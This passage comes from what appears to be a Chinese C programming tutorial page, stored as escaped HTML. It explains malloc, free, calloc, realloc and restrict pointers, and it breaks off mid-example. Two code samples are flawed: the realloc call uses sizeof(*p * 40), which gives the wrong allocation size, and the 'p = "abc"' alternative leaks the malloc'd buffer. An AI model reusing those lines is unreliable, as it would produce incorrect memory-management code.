class=\"keyword\"\u003esizeof\u003c/span\u003e(*p));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e分配内存有可能分配失败,这时返回常量 NULL。Null 的值为0,是一个无法读写的内存地址,可以理解成一个不指向任何地方的指针。它在包括\u003ccode\u003estdlib.h\u003c/code\u003e等多个头文件里面都有定义,所以只要可以使用\u003ccode\u003emalloc()\u003c/code\u003e,就可以使用\u003ccode\u003eNULL\u003c/code\u003e。由于存在分配失败的可能,所以最好在使用\u003ccode\u003emalloc()\u003c/code\u003e之后检查一下,是否分配成功。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (p == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 内存分配失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!p) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过判断返回的指针\u003ccode\u003ep\u003c/code\u003e是否为\u003ccode\u003eNULL\u003c/code\u003e,确定\u003ccode\u003emalloc()\u003c/code\u003e是否分配成功。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e最常用的场合,就是为数组和自定义数据结构分配内存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p[i] = i * \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e是一个整数指针,指向一段可以放置10个整数的内存,所以可以用作数组。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e用来创建数组,有一个好处,就是它可以创建动态数组,即根据成员数量的不同,而创建长度不同的数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(n * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003emalloc()\u003c/code\u003e可以根据变量\u003ccode\u003en\u003c/code\u003e的不同,动态为数组分配不同的大小。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003emalloc()\u003c/code\u003e不会对所分配的内存进行初始化,里面还保存着原来的值。如果没有初始化,就使用这段内存,可能从里面读到以前的值。程序员要自己负责初始化,比如,字符串初始化可以使用\u003ccode\u003estrcpy()\u003c/code\u003e函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(p, \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符指针\u003ccode\u003ep\u003c/code\u003e指向一段4个字节的内存,\u003ccode\u003estrcpy()\u003c/code\u003e将字符串“abc”拷贝放入这段内存,完成了这段内存的初始化。\u003c/p\u003e\u003ch3 id=\"free\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#free\" class=\"headerlink\" title=\"free()\"\u003e\u003c/a\u003efree()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efree()\u003c/code\u003e用于释放\u003ccode\u003emalloc()\u003c/code\u003e函数分配的内存,将这块内存还给系统以便重新使用,否则这个内存块会一直占用到程序运行结束。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efree\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* block)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003efree()\u003c/code\u003e的参数是\u003ccode\u003emalloc()\u003c/code\u003e返回的内存地址。下面就是用法实例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efree\u003c/span\u003e(p);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,分配的内存块一旦释放,就不应该再次操作已经释放的地址,也不应该再次使用\u003ccode\u003efree()\u003c/code\u003e对该地址释放第二次。\u003c/p\u003e\u003cp\u003e一个很常见的错误是,在函数内部分配了内存,但是函数调用结束时,没有使用\u003ccode\u003efree()\u003c/code\u003e释放内存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003egobble\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e arr[], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e* temp = (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(n * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003egobble()\u003c/code\u003e内部分配了内存,但是没有写\u003ccode\u003efree(temp)\u003c/code\u003e。这会造成函数运行结束后,占用的内存块依然保留,如果多次调用\u003ccode\u003egobble()\u003c/code\u003e,就会留下多个内存块。并且,由于指针\u003ccode\u003etemp\u003c/code\u003e已经消失了,也无法访问这些内存块,再次使用。\u003c/p\u003e\u003ch3 id=\"calloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#calloc\" class=\"headerlink\" title=\"calloc()\"\u003e\u003c/a\u003ecalloc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ecalloc()\u003c/code\u003e函数的作用与\u003ccode\u003emalloc()\u003c/code\u003e相似,也是分配内存块。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e两者的区别主要有两点:\u003c/p\u003e\u003cp\u003e(1)\u003ccode\u003ecalloc()\u003c/code\u003e接受两个参数,第一个参数是某种数据类型的值的数量,第二个是该数据类型的单位字节长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ecalloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ecalloc()\u003c/code\u003e的返回值也是一个 void 指针。分配失败时,返回 NULL。\u003c/p\u003e\u003cp\u003e(2)\u003ccode\u003ecalloc()\u003c/code\u003e会将所分配的内存全部初始化为\u003ccode\u003e0\u003c/code\u003e。\u003ccode\u003emalloc()\u003c/code\u003e不会对内存进行初始化,如果想要初始化为\u003ccode\u003e0\u003c/code\u003e,还要额外调用\u003ccode\u003ememset()\u003c/code\u003e函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003ecalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(p, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ecalloc()\u003c/code\u003e相当于\u003ccode\u003emalloc() + memset()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecalloc()\u003c/code\u003e分配的内存块,也要使用\u003ccode\u003efree()\u003c/code\u003e释放。\u003c/p\u003e\u003ch3 id=\"realloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#realloc\" class=\"headerlink\" title=\"realloc()\"\u003e\u003c/a\u003erealloc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erealloc()\u003c/code\u003e函数用于修改已经分配的内存块的大小,可以放大也可以缩小,返回一个指向新的内存块的指针。如果分配不成功,返回 NULL。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003erealloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* block, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eblock\u003c/code\u003e:已经分配好的内存块指针(由\u003ccode\u003emalloc()\u003c/code\u003e或\u003ccode\u003ecalloc()\u003c/code\u003e或\u003ccode\u003erealloc()\u003c/code\u003e产生)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003esize\u003c/code\u003e:该内存块的新大小,单位为字节。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003erealloc()\u003c/code\u003e可能返回一个全新的地址(数据也会自动复制过去),也可能返回跟原来一样的地址。\u003ccode\u003erealloc()\u003c/code\u003e优先在原有内存块上进行缩减,尽量不移动数据,所以通常是返回原先的地址。如果新内存块小于原来的大小,则丢弃超出的部分;如果大于原来的大小,则不对新增的部分进行初始化(程序员可以自动调用\u003ccode\u003ememset()\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e下面是一个例子,\u003ccode\u003eb\u003c/code\u003e是数组指针,\u003ccode\u003erealloc()\u003c/code\u003e动态调整它的大小。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = \u003cspan class=\"built_in\"\u003erealloc\u003c/span\u003e(b, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e2000\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指针\u003ccode\u003eb\u003c/code\u003e原来指向10个成员的整数数组,使用\u003ccode\u003erealloc()\u003c/code\u003e调整为2000个成员的数组。这就是手动分配数组内存的好处,可以在运行时随时调整数组的长度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003erealloc()\u003c/code\u003e的第一个参数可以是 NULL,这时就相当于新建一个指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003erealloc\u003c/span\u003e(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e3490\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果\u003ccode\u003erealloc()\u003c/code\u003e的第二个参数是\u003ccode\u003e0\u003c/code\u003e,就会释放掉内存块。\u003c/p\u003e\u003cp\u003e由于有分配失败的可能,所以调用\u003ccode\u003erealloc()\u003c/code\u003e以后,最好检查一下它的返回值是否为 NULL。分配失败时,原有内存块中的数据不会发生改变。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e* new_p = \u003cspan class=\"built_in\"\u003erealloc\u003c/span\u003e(p, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(*p * \u003cspan class=\"number\"\u003e40\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (new_p == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Error reallocing\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003erealloc()\u003c/code\u003e不会对内存块进行初始化。\u003c/p\u003e\u003ch3 id=\"restrict-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#restrict-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"restrict 说明符\"\u003e\u003c/a\u003erestrict 说明符\u003c/h3\u003e\u003cp\u003e声明指针变量时,可以使用\u003ccode\u003erestrict\u003c/code\u003e说明符,告诉编译器,该块内存区域只有当前指针一种访问方式,其他指针不能读写该块内存。这种指针称为“受限指针”(restrict pointer)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan 